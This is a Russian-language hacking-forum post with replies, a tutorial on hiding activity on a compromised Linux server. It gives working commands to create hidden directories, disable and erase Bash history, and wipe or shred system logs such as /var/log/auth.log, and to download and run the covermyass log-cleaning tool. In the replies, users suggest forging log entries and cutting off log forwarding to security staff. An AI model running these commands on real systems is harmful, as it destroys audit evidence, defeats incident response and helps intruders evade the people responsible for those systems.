LIMB
Вход Регистрация

тема

Как заметать следы на системах Linux

ArmCorp · · 3 ответов · 500 просмотров

Не удалось прогрузить медиа


Чтобы показать вам основы заметания следов, мы сначала скомпрометируем цель, а затем рассмотрим некоторые методы, используемые для удаления истории Bash, очистки журналов и сохранения скрытности после использования системы Linux. В этой статье мы рассмотрим как заметать следы на системах Linux.

Содержание скрыть
1 Компрометация цели
2 Создание легко удаляемого скрытого каталога
3 Удаление истории Bash
4 Очистка файлов журнала
5 Инструменты для проверки очистки
6 Заключение




Компрометация цели​




Первое, что нам нужно сделать, это использовать цель. Мы можем использовать внедрение команд, чтобы злоупотреблять тем, как сервер обрабатывает команды ОС для получения оболочки. Мы также хотим обновить нашу новую оболочку до полностью интерактивной. Это облегчит работу в целом, а также позволит нам использовать завершение табуляции и историю терминала.


После этого мы можем повысить наши привилегии до root, чтобы мы могли лучше использовать преимущества системы, чтобы оставаться незамеченными.


Создание легко удаляемого скрытого каталога​

Получив root-доступ, мы можем создать скрытый каталог для работы и хранения любых скриптов или файлов. Это не обманет никого, кроме самого начинающего администратора, но еще один уровень конфиденциальности, безусловно, не помешает. Во-первых, давайте найдем любые доступные для записи каталоги с помощью следующей команды:

root@target:/# find / -perm -222 -type d 2>/dev/null

Code:
/dev/shm
/var/lock
/var/lib/php5
/var/tmp
/var/www/dav
/var/www/twiki/data/Sandbox
/var/www/twiki/data/Main
/var/www/twiki/data/Know
/var/www/twiki/data/TWiki
/var/www/twiki/data/_default
/var/www/twiki/data/Trash
/var/www/twiki/pub/Sandbox
/var/www/twiki/pub/Main
/var/www/twiki/pub/Know
/var/www/twiki/pub/Know/IncorrectDllVersionW32PTH10DLL
/var/www/twiki/pub/TWiki
/var/www/twiki/pub/TWiki/TWikiDocGraphics
/var/www/twiki/pub/TWiki/TWikiTemplates
/var/www/twiki/pub/TWiki/TWikiLogos
/var/www/twiki/pub/TWiki/PreviewBackground
/var/www/twiki/pub/TWiki/FileAttachment
/var/www/twiki/pub/TWiki/WabiSabi
/var/www/twiki/pub/Trash
/var/www/twiki/pub/icn
/tmp
/tmp/.ICE-unix
/tmp/.X11-unix

Мы можем создать скрытый каталог с помощью команды mkdir и поставив перед именем точку:
root@target:/# mkdir /dev/shm/.secret
Если мы сейчас перечислим содержимое /dev/shm, ничего не появится:
root@target:/# ls -l /dev/shm/
Только когда мы используем переключатель -a для вывода списка всех файлов и каталогов, он появляется:

root@target:/# ls -la /dev/shm/

total 0
drwxrwxrwt 3 root root 60 2019-06-19 13:49 .
drwxr-xr-x 13 root root 13480 2019-06-19 13:41 ..
drwxr-xr-x 2 root root 40 2019-06-19 13:49 .secret

И чтобы удалить каталог после того, как мы закончим работу с машиной, используйте команду rmdir:
root@target:/# rmdir /dev/shm/.secret/

Удаление истории Bash​

Bash хранит список команд, используемых в текущем сеансе, в памяти, поэтому важно очистить его, чтобы замести следы. Мы можем просмотреть текущую историю с помощью команды history:

root@target:/# history

1 cd /
2 ls
3 find / -perm -222 -type d 2>/dev/null
4 cd /dev/shm/
5 cd /
6 mkdir /dev/shm/.secret
7 ls -l /dev/shm/
8 ls -la /dev/shm/
9 ls
10 rmdir /dev/shm/.secret/
11 history

Команды записываются в переменную среды HISTFILE, обычно это .bash_history. Мы можем повторить это, чтобы увидеть местоположение:
root@target:/# echo $HISTFILE

/root/.bash_history

Мы можем использовать команду unset для удаления переменной:
root@target:/# unset HISTFILE
Поэтому, когда мы повторяем это снова, ничего не появляется:
root@target:/# echo $HISTFILE
Мы также можем убедиться, что история команд не сохраняется, отправив ее в /dev/null. Установите для него переменную:
root@target:/# HISTFILE=/dev/null
Или сделайте то же самое с командой экспорта:

root@target:/# export HISTFILE=/dev/null
И история теперь будет отправляться в /dev/null (никуда):
root@target:/# echo $HISTFILE

/dev/null

Мы можем установить количество команд, которые будут храниться во время текущего сеанса, равным 0, используя переменную HISTSIZE:
root@target:/# HISTSIZE=0
В качестве альтернативы используйте команду экспорта:
root@target:/# export HISTSIZE=0
Мы также можем изменить допустимое количество строк в файле истории, используя переменную HISTFILESIZE. Установите это значение на 0:
root@target:/# HISTFILESIZE=0
Или с экспортом:
root@target:/# export HISTFILESIZE=0
Команду set также можно использовать для изменения параметров оболочки. Чтобы отключить опцию истории, используйте следующую команду:
root@target:/# set +o history
И чтобы включить его снова:
root@target:/# set -o history
Точно так же команду shopt можно использовать для изменения параметров оболочки. Чтобы отключить историю, используйте следующую команду:
root@target:/# shopt -ou history
И чтобы включить его снова:
root@target:/# shopt -os history
При запуске команд в целевой системе мы иногда можем избежать их сохранения в истории, начав команду с начального пробела:
root@target:~# cat /etc/passwd
Этот метод не работает все время и зависит от системы. Мы также можем просто очистить историю с помощью ключа -c:
root@target:~# history -c

Чтобы убедиться, что изменения записаны на диск, используйте ключ -w:
root@target:~# history -w

Это очистит историю только для текущего сеанса. Чтобы полностью убедиться, что история очищается при выходе из сеанса, пригодится следующая команда:
root@target:/# cat /dev/null > ~/.bash_history && history -c && exit
Мы также можем использовать команду kill для выхода из сеанса без сохранения истории:
root@target:/# kill -9 $$

Очистка файлов журнала​

В дополнение к истории Bash файлы журналов также необходимо стереть, чтобы они оставались незамеченными. Вот некоторые распространенные файлы журналов и их содержимое:
    • /var/log/auth.log Authentication
    • /var/log/cron.log Cron Jobs
    • /var/log/maillog Mail
    • /var/log/httpd Apache
Конечно, мы можем просто удалить журнал с помощью команды rm:

root@target:/# rm /var/log/auth.log


Но это, скорее всего, вызовет тревогу, поэтому лучше очистить файл, а не стирать его полностью. Мы можем использовать команду truncate, чтобы уменьшить размер до 0:

root@target:/# truncate -s 0 /var/log/auth.log


Обратите внимание, усечение не всегда присутствует во всех системах.


Мы можем сделать то же самое, ничего не выводя в файл:

root@target:/# echo '' > /var/log/auth.log

А также с помощью >, чтобы очистить файл:

root@target:/# > /var/log/auth.log

Мы также можем отправить его в /dev/null:

root@target:/# cat /dev/null > /var/log/auth.log


Или используйте команду tee:

root@target:/# true | tee /var/log/auth.log


Мы также можем использовать команду dd,чтобы ничего не записывать в файл журнала:

root@target:/# dd if=/dev/null of=/var/log/auth.log

0+0 records in
0+0 records out
0 bytes (0 B) copied, 6.1494e-05 s, 0.0 kB/s


Команду shred можно использовать для перезаписи файла бессмысленными двоичными данными:

root@target:/# shred /var/log/auth.log

Мы даже можем добавить -zu, чтобы обрезать файл и перезаписать его нулями, чтобы скрыть следы уничтожения:

root@target:/# shred -zu /var/log/auth.log

Инструменты для проверки очистки​


Чтобы увеличить вероятность того, что любая активность на цели останется незамеченной, мы можем использовать инструмент, который гарантирует, что все будет стерто. Covermyass — это скрипт, который автоматизирует большую часть процессов, которые мы уже рассмотрели, включая очистку файлов журнала и отключение истории Bash.


Мы можем получить скрипт с GitHub с помощью wget (при условии, что у нас есть доступ к Интернету на цели, в противном случае его придется передавать вручную):

root@target:/# wget https://raw.githubusercontent.com/sundowndev/covermyass/master/covermyass

Перейдите в каталог, доступный для записи, и используйте chmod, чтобы сделать его исполняемым:

root@target:/tmp# chmod +x covermyass

Затем мы можем запустить его:

root@target:/tmp# ./covermyass

Code:
Welcome to Cover my ass tool !

Select an option :

1) Clear logs for user root
2) Permenently disable auth & bash history
3) Restore settings to default
99) Exit tool


>


Нам дается пользовательское приглашение с несколькими вариантами на выбор. Давайте выберем первый, чтобы очистить журналы:

> 1

Code:
[+] /var/log/messages cleaned.
[+] /var/log/auth.log cleaned.
[+] /var/log/kern.log cleaned.
[+] /var/log/wtmp cleaned.
[+] ~/.bash_history cleaned.
[+] History file deleted.


Reminder: your need to reload the session to see effects.
Type exit to do so.


Мы также можем отключить Bash и историю авторизации с помощью опции 2:

> 2

Code:
[+] Permanently sending /var/log/auth.log to /dev/null
[+] Permanently sending bash_history to /dev/null
[+] Set HISTFILESIZE & HISTSIZE to 0
[+] Disabled history library


Permenently disabled bash log.





А если вам нужно срочно все очистить, просто добавьте сейчас к команде:

root@target:/tmp# ./covermyass now

Code:
[+] /var/log/messages cleaned.
[+] /var/log/kern.log cleaned.
[+] /var/log/wtmp cleaned.
[+] ~/.bash_history cleaned.
[+] History file deleted.


Reminder: your need to reload the session to see effects.
Type exit to do so.


Заключение​


Сегодня мы изучили различные методы, используемые для заметания следов и оставления незамеченными на скомпрометированной машине. Мы рассмотрели способы отключения и удаления истории Bash, методы очистки файлов журналов и использовали инструмент Covermyass, чтобы убедиться, что наша активность на цели была стерта. Существуют и другие способы устранения определенных следов атаки, например, использование Metasploit, использование сценариев оболочки или выполнение этого на взломанном компьютере с Windows, но вышеперечисленное должно быть всем, что вам нужно для базового компьютера с Linux.
👍36 ❤️4 😮9 🤔6 😢4 💯6
очистка логов может привлечь внимание
можно вырезать логи за время когда был пентест и вставить логи которые норм для хоста
+ нужно проверить отаврялются ли логи безопасникам, можно тупо отключить,. можно засинкхолить, можно нагенирить своего
по тексту не было про wtmp и btmp, но тулза - Covermyass - чистит один их них
👍3
Присоединяюсь к этой истории, имеется предложение сделать обзор дампа ПЗУ windows системы с помощью AutoPsy. Вкратце - очень сильно помогает понимать механизмы безопасности когда ты сначала засрал систему а потом смотришь по различным токенам безопасноти и прочей шляпе что откуда и куда пускает свои корни.
autopsy.com
и непосредственно чем снимать образ - AccessFTK Imager https://archive.org/download/access-data-ftk-imager-4.7.1
👍4 ❤️1 🔥1
Ответghost

очистка логов может привлечь внимание можно вырезать логи за время когда был пентест и вставить логи которые норм для хоста + нужно проверить отаврялются ли логи безопасникам, можно тупо отключить,. можно засинкхолить…

можно сделать бэкап логов, удалить те что были во время пентеста и вернуть логи бэкапа.
👍2

Гостевой просмотр. Чтобы отвечать и ставить реакции, войдите или зарегистрируйтесь.